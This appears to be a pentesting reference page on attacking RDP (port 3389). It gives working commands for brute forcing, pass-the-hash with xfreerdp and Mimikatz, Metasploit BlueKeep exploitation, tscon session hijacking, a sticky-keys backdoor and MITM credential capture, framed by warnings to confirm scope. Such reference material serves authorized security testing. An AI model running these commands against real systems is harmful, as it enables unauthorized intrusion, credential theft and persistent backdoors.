> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 3389 - RDP (Remote Desktop Protocol)

`Default Port: 3389`

RDP is how most Windows environments get administered remotely, which makes it both an obvious entry point and, once you're on a box, a direct path to pivot onto other machines that share the same credentials. It's graphical rather than a shell, so a lot of what makes RDP interesting offensively isn't the protocol itself but what you can do once a session is open: hijack someone else's session, relay a hash, or just log in with weak credentials nobody rotated.

> **Standard Login**
>
> A normal authenticated session, password or pass-the-hash. The baseline access most of this page builds on.

> **Session Hijacking**
>
> If you land SYSTEM on a box with other active RDP sessions, you can take over one of those sessions directly, no password needed at all.

***

## Connecting

**xfreerdp (Linux)**

```bash theme={null}
xfreerdp /u:USER /p:PASSWORD /v:TARGET
xfreerdp /u:DOMAIN\USER /p:PASSWORD /v:TARGET
```

Pass-the-hash works the same way, just swap `/p` for `/pth`:

```bash theme={null}
xfreerdp /u:USER /pth:NTHASH /v:TARGET
```

**rdesktop (Linux)**

```bash theme={null}
rdesktop -u USER -p PASSWORD TARGET
```

**mstsc (Windows)**

```cmd theme={null}
mstsc /v:TARGET
mstsc /v:TARGET /admin     # connect to the admin/console session specifically
```

***

## Recon

```bash theme={null}
nmap -sV -sC TARGET -p3389 --script "rdp-*"
```

```bash theme={null}
nmap -p3389 --script rdp-ntlm-info TARGET          # Windows version via NTLM info leak
nmap -p3389 --script rdp-enum-encryption TARGET      # security layer and encryption level
```

Impacket's `rdp_check.py` confirms the service is reachable and reports its security settings without a full login attempt:

```bash theme={null}
python3 /usr/share/doc/python3-impacket/examples/rdp_check.py TARGET
```

***

## Brute Forcing

```bash theme={null}
hydra -L users.txt -P passwords.txt rdp://TARGET -s PORT
```

> [!TIP]
>
> RDP brute-forcing is notably slower and more error-prone than most other protocols because each attempt involves setting up a full session. `-t 1` in Hydra (single thread) is often more reliable than the default, even though it's slower.

***

## Pass-the-Hash

```bash theme={null}
xfreerdp /u:administrator /pth:NTHASH /v:TARGET
```

From an already-compromised machine, Mimikatz can launch an RDP session directly using a captured hash without ever touching a plaintext password:

```text theme={null}
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:"mstsc /v:TARGET"
```

***

## BlueKeep (CVE-2019-0708)

> [!WARNING]
>
> BlueKeep is wormable, pre-authentication RCE affecting Windows 7, Server 2008, and XP. A confirmed-vulnerable host is a critical finding, and exploitation carries a real risk of crashing the target. Confirm this is explicitly authorized before attempting it.

```bash theme={null}
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS TARGET
run
```

If confirmed vulnerable:

```bash theme={null}
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show targets
set target NUMBER
set RHOSTS TARGET
exploit
```

***

## RDP Session Hijacking

> [!WARNING]
>
> This requires SYSTEM-level access on the target already. It's a post-exploitation technique for taking over an existing session, not a way to gain initial access.

With SYSTEM privileges, `tscon` can attach your session directly to another logged-in user's session, bypassing authentication entirely since you're reusing their already-authenticated session.

```cmd theme={null}
query user
```

```cmd theme={null}
tscon TARGET_SESSION_ID /dest:OUR_SESSION_NAME
```

***

## Sticky Keys Backdoor

> [!WARNING]
>
> This modifies a core system binary and survives reboots. Treat it strictly as a persistence technique, confirm it's within scope, and remove it during cleanup.

Replacing the accessibility shortcut binary with `cmd.exe` gives a SYSTEM shell straight from the login screen, no credentials needed at all once it's in place.

```cmd theme={null}
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
```

At the RDP login screen, pressing Shift five times now opens a SYSTEM command prompt instead of the accessibility dialog.

***

## RDP Man-in-the-Middle

> [!WARNING]
>
> This requires network position between the client and the target, and actively intercepts live authentication traffic. Confirm scope explicitly covers this before running it.

[Seth](https://github.com/SySS-Research/Seth) performs a MITM downgrade against RDP connections and recovers credentials in the process.

```bash theme={null}
seth CLIENT_IP TARGET_IP INTERFACE
```

***

## Known RDP Gateway CVEs

| CVE | Name | Impact |
| - | - | - |
| CVE-2019-0708 | BlueKeep | Pre-auth RCE, wormable |
| CVE-2019-1181 / 1182 | RD Gateway | RCE |
| CVE-2020-0609 / 0610 | RD Gateway | RCE |

***

## Metasploit Modules

```bash theme={null}
use auxiliary/scanner/rdp/rdp_scanner        # discover RDP services, including on non-default ports
use post/windows/manage/enable_rdp            # enable RDP on a host after gaining access through another method
```

***

## Quick Reference Tools

> **[Hackviser: RDP](https://hackviser.com/tactics/pentesting/services/rdp)**
>
> Quick-reference pentesting guide for the RDP service.

> **[HackTricks: RDP](https://hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html)**
>
> Deeper breakdown of RDP enumeration and exploitation techniques.

> **[Seth](https://github.com/SySS-Research/Seth)**
>
> RDP man-in-the-middle tool for credential capture.

> [!WARNING]
>
> Session hijacking, sticky keys, and MITM attacks are all high-impact, easily detected actions. Confirm scope before going beyond standard authenticated access.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.